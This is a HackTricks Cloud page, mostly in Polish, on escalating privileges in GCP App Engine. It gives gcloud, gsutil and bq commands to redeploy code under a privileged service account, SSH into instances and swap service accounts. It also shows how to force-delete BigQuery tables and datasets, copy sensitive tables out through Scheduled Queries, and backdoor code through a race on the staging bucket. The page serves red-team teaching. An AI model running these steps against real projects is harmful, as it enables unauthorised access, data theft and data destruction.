GCP - AppEngine Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
App Engine
Więcej informacji o App Engine znajdziesz:
appengine.applications.get, appengine.instances.get, appengine.instances.list, appengine.operations.get, appengine.operations.list, appengine.services.get, appengine.services.list, appengine.versions.create, appengine.versions.get, appengine.versions.list, cloudbuild.builds.get,iam.serviceAccounts.actAs, resourcemanager.projects.get, storage.objects.create, storage.objects.list
To są wymagane uprawnienia do wdrożenia aplikacji przy użyciu gcloud cli. Możliwe, że uprawnienia get i list można pominąć.
Przykłady kodu w Pythonie znajdziesz w https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine
Domyślnie nazwa usługi App będzie default, i może istnieć tylko 1 instancja o tej samej nazwie.
Aby to zmienić i utworzyć drugą aplikację, w app.yaml zmień wartość klucza root na coś w rodzaju service: my-second-app
cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder
Odczekaj co najmniej 10–15 minut; jeśli to nie zadziała, spróbuj wykonać ponownie deploy another of times i odczekaj kilka minut.
Note
Możliwe jest wskazanie Service Account, który ma być użyty, ale domyślnie używany jest domyślny App Engine SA.
The URL of the application is something like https://<proj-name>.oa.r.appspot.com/ or https://<service_name>-dot-<proj-name>.oa.r.appspot.com
Aktualizacja równoważnych uprawnień
Możesz mieć wystarczające uprawnienia do zaktualizowania AppEngine, ale nie do utworzenia nowego. W takim przypadku możesz w ten sposób zaktualizować bieżący AppEngine:
# Find the code of the App Engine in the buckets
gsutil ls
# Download code
mkdir /tmp/appengine2
cd /tmp/appengine2
## In this case it was found in this custom bucket but you could also use the
## buckets generated when the App Engine is created
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
unzip labs_appengine_1_premissions_privesc.zip
## Now modify the code..
## If you don't have an app.yaml, create one like:
cat >> app.yaml <<EOF
runtime: python312
entrypoint: gunicorn -b :\$PORT main:app
env_variables:
A_VARIABLE: "value"
EOF
# Deploy the changes
gcloud app deploy
# Update the SA if you need it (and if you have actas permissions)
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
Jeśli już przejąłeś AppEngine i masz uprawnienie appengine.applications.update oraz uprawnienie actAs do używania service account, możesz zmodyfikować service account używany przez AppEngine za pomocą:
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
appengine.instances.enableDebug, appengine.instances.get, appengine.instances.list, appengine.operations.get, appengine.services.get, appengine.services.list, appengine.versions.get, appengine.versions.list, compute.projects.get
Dzięki tym uprawnieniom można zalogować się przez ssh na instancjach App Engine typu flexible (nie standardowych). Niektóre z uprawnień list i get mogą nie być naprawdę potrzebne.
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
appengine.applications.update, appengine.operations.get
Myślę, że to po prostu zmienia konto SA w tle, którego google użyje do skonfigurowania aplikacji, więc nie sądzę, żeby dało się tego nadużyć, by ukraść service account.
gcloud app update --service-account=<sa_email>
appengine.versions.getFileContents, appengine.versions.update
Nie jestem pewien, jak użyć tych uprawnień ani czy są przydatne (uwaga: kiedy zmieniasz kod, tworzona jest nowa wersja, więc nie wiem, czy można po prostu zaktualizować kod lub rolę IAM istniejącej wersji, ale przypuszczam, że powinno to być możliwe — być może przez zmianę kodu wewnątrz bucketu??).
bigquery.tables.delete, bigquery.datasets.delete & bigquery.models.delete (bigquery.models.getMetadata)
Aby usunąć tabele, dataset lub modele:
# Table removal
bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>
# Dataset removal
bq rm -r -f <PROJECT_ID>:<DATASET>
# Model removal
bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>
Nadużycie Scheduled Queries
Dysponując uprawnieniami bigquery.datasets.get, bigquery.jobs.create, i iam.serviceAccounts.actAs, tożsamość może odpytywać metadane datasetu, uruchamiać BigQuery jobs i wykonywać je przy użyciu Service Account o wyższych uprawnieniach.
Ten atak umożliwia złośliwe użycie Scheduled Queries do automatyzacji zapytań (uruchamianych pod wybranym Service Account), co może na przykład skutkować odczytaniem wrażliwych danych i zapisaniem ich do innej tabeli lub datasetu, do którego atakujący ma dostęp — ułatwiając pośrednią i ciągłą eksfiltrację bez konieczności wyprowadzania danych na zewnątrz.
Gdy atakujący dowie się, który Service Account ma niezbędne uprawnienia do wykonania żądanego zapytania, może utworzyć konfigurację Scheduled Query, która będzie uruchamiana z użyciem tego Service Account i okresowo zapisywać wyniki do wybranego przez niego datasetu.
bq mk \
--transfer_config \
--project_id=<PROJECT_ID> \
--location=US \
--data_source=scheduled_query \
--target_dataset=<DEST_DATASET> \
--display_name="Generic Scheduled Query" \
--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
--schedule="every 10 minutes" \
--params='{
"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
"destination_table_name_template": "<destination_table>",
"write_disposition": "WRITE_TRUNCATE"
}'
Dostęp zapisu do bucketów
Jak wspomniano, appengine versions generują pewne dane wewnątrz bucketu o nazwie w formacie: staging.<project-id>.appspot.com. Zauważ, że nie da się wcześniej przejąć tego bucketu, ponieważ GCP users nie są uprawnieni do tworzenia bucketów używając domeny appspot.com.
Jednak mając read & write access do tego bucketu, można eskalować uprawnienia do SA przypisanego do wersji AppEngine, monitorując bucket i za każdym razem, gdy zostanie wprowadzona zmiana, modyfikując kod jak najszybciej. W ten sposób kontener utworzony z tego kodu będzie execute the backdoored code.
For more information and a PoC check the relevant information from this page:
Dostęp zapisu do Artifact Registry
Chociaż App Engine tworzy obrazy dockerowe w Artifact Registry, przetestowano, że nawet jeśli zmodyfikujesz obraz w tym serwisie i usuniesz instancję App Engine (w efekcie wdrożona zostanie nowa), to wykonywany kod się nie zmienia.
Możliwe, że przeprowadzenie Race Condition attack podobnie jak w przypadku buckets pozwoliłoby nadpisać wykonywany kod, ale nie zostało to przetestowane.
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

